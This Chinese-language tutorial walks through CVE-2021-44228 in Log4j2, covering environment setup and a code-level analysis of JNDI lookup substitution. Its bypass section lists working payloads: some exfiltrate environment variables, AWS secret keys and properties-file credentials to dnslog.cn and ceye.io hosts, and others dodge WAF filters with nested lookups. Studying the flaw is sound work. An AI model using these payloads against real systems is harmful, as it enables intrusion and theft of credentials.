log4j2-jndi注入漏洞cve-2021-44228

漏洞条件

  • Apache Log4j2 <=2.14.1
  • JNDI注入的JDK版本在范围内或本地有利用链

Log4j2 基础

Apache Log4j2是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一。

搭建环境

导包

创建Maven项目,并将以下配置文件放在pom.xml中

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
    <scope>test</scope>
</dependency>

配置

log4j2支持种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。 log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别

使用

log4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。

常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(LongFunction.class);
        logger.trace("trace level");
        logger.debug("debug level");
        logger.info("info level");
        logger.warn("warn level");
        logger.error("error level");
        logger.fatal("fatal level");
    }
}

image-20230829215816202

实际开发场景

比如获取到了一个 username 为 “admin”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(LongFunction.class);
        String username = "admin";
        if (username != null) {
            logger.info("User {} login in!", username);
        }else {
            logger.error("User {} not exists!", username);
        }
    }
}

image-20230829215852361

Log4j2 漏洞原理

在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。

这个 Lookup & Substitution 的过程,就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup 接口,并通过配置文件进行设置。

在最新的官方文档 Lookups 中,列举了 Log4j2 支持的 Context Map、Date、Docker、Environment、Event、Java、Jndi、JVM Input Arguments、Kubernetes、Log4j Configuration Location、Main Arguments、Map、Marker、Spring Boot 、Structured Data、System Properties、Lower、Upper、Web 如此多种的属性查找及替换选项。

而其中所支持的 Jndi 就是本次漏洞的触发点。

image-20230829215918416

调试分析

触发点

通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象,并调用其 debug/info/error/warn/fatal/trace/log 等方法记录日志等信息。

在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。

在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志,可以使用配置文件更改日志输出等级。

image-20230829215947760

本此漏洞的触发点,实际上是从 AbstractLogger#logMessage 方法开始的,凡是调用了此方法的 info/error/warn 等全部方法均可以作为本次漏洞的触发点,只是取决于配置的漏洞输出等级。

消息格式化

Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要提供 Lookups 功能。

image-20230829220022944

获取 log4j2.formatMsgNoLookups 配置的值,默认为 false,因此 Lookups 功能默认是开的。

image-20230829220048945

在格式化的时候是调用了format(final LogEvent event, final StringBuilder toAppendTo)方法:

image-20230829220113394

先从传入的event对象中取出输入的msg

这里会先进行判断lookups是否开启,也就是上面构造方法设置的noLookups的值。

然后循环整个workingBuilder对象的所有字符看是否为 ${ 开头的,是则取出该msg作为value(这里也就是输入的User $(jndi:ldap://127.0.0.1:1234/ExportObject)not exists!),然后使用config.getStrSubstitutor().replace(event, value)进行格式化替换。

字符替换

Log4j2 提供 Lookup 功能的字符替换的关键处理类,位于org.apache.logging.log4j.core.lookup.StrSubstitutor,首先来看一下这个类。

类中提供了关键的 DEFAULT_ESCAPE 是 $,DEFAULT_PREFIX 前缀是 ${,DEFAULT_SUFFIX 后缀是 },DEFAULT_VALUE_DELIMITER_STRING 赋值分隔符是 :-,ESCAPE_DELIMITER_STRING 是 :\-

image-20230829220144725

这个类提供的 substitute 方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,可以看到上一步调用config.getStrSubstitutor().replace(event, value)方法里面也是调用了substitute 方法:

image-20230829220212384

跟进后发现调用了另一个substitute 方法:

image-20230829220259162

然后就到了真正的处理逻辑了,接下来才是重点(过程有点绕需要耐心):

1、初始化各种Matcher和输入的消息属性;然后匹配消息中的${ 前缀字符,并且进行删除重复的$ 字符操作;

image-20230829220339960

2、找完前缀就找后缀,先找出是否存在嵌套格式化字符的情况,取出最里层的格式化字符,然后再取出格式化字符中间的部分,即${}之间的字符串(这里是jndi:ldap://127.0.0.1:1234/ExportObject),然后就嵌套调用substitute方法

image-20230829220412862

3、再次运行 subtitue 方法的时候由于我们已没有 ${ } 能够匹配到了,所以就直接返回了0,代表没有修改,回到了嵌套前的subtitue 方法

image-20230829220454635

4、后续的处理中,通过多个 if/else 用来匹配 :-:\-

image-20230829220525399

上面代码很绕,看不懂没关系,直接描述:

  • :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
  • :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc

5、在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。

image-20230829220553747

因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。

Lookup 处理

跟进resolveVariable 方法,可以看到先获取resolver对象,然后调用 resolver.lookup 方法进行处理

image-20230829220628506

跟进来到了 org.apache.logging.log4j.core.lookup.Interpolator 类,Log4j2 使用Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。

image-20230829221045423

在 2.14.1 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。

处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。

image-20230829221117351

这里除了JNDI方法外,还支持上述多种 Lookup 功能,包括获取环境变量、系统配置、Java 环境等等,由于 Log4j2 支持递归和嵌套解析,所以可以用来获取相关信息来实现一些攻击思路。

image-20230829221146060

JNDI 查询

Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。

跟进去,到了另一个用于处理JNDI的lookup方法中,这里先获取JndiManager,可以看到这里的JndiManager里面有个context对象,该对象就是JNDI注入常见的InitialContext类

image-20230829221218251

再跟进去,可以看到就是使用了InitialContext.lookup 方法进行JNDI查询

image-20230829221247543

这里就是常见的JNDI注入的入口了。

小结

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些。

技巧与绕过

官方文档中介绍了各种不同类型的 Lookup ,以及其特性

技巧

ENV

可通过 env 来获取环境变量中的一些信息,实际上对应的是System.getenv()

logger.error("{jndi:ldap://{env:USER}.d0j226.dnslog.cn}");

获取一些云主机的 Key

logger.error("{jndi:ldap://{env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}")




Java

logger.error("{jndi:ldap://{java:version}.u2xf5m.dnslog.cn}");
logger.error("{jndi:ldap://{java:os}.2lnhn2.ceye.io}");

由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式

绕过

利用分隔符和多个 ${} 绕过

根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

image-20230829221337638

logger.error("{{::-J}${what:-n}di:ldap://127.0.0.1:1389/Calc}");




通过 lower 和 upper 绕过

这一点,因为我们之前说允许的字段是这一些date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

logg.info("{{lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("{{upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

同时也可以利用一些特殊字符的大小写转化的问题

ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)

ResourceBundleLookup读取敏感信息

image-20230829221418668

从代码上来看就很好理解,把 key 按照 : 分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value。

ResourceBundle 在 Java 应用开发中经常被用来做国际化,网站通常会给一段表述的内容翻译成多种语言,比如中文简体、中文繁体、英文。

那开发者可能就会使用 ResourceBundle 来分别加载 classpath 下的 zh_CN.properties、en_US.properties。并按照唯一的 key 取出对应的那段文字。例如: zh_CN.properties

LOGIN_SUCCESS=登录成功




ResourceBundle.getBundle("zh_CN").getString("LOGIN_SUCCESS") 获取到的就是 登录成功

如果系统是 springboot 的话,它会有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。当然也不止 springboot,很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。

这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。所以在 log4j 中 Bundle 是比sys和env更严重的存在。

"{jndi:ldap://{bundle:文件名:配置的键}.boh9ud.dnslog.cn}"




image-20230829221506330

注意:网络资源有一定失效性,请以实际为准!
本站telegram群组 https://t.me/digter8 @digter8
仅供学习交流,严禁用于商业用途,请于24小时内删除。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇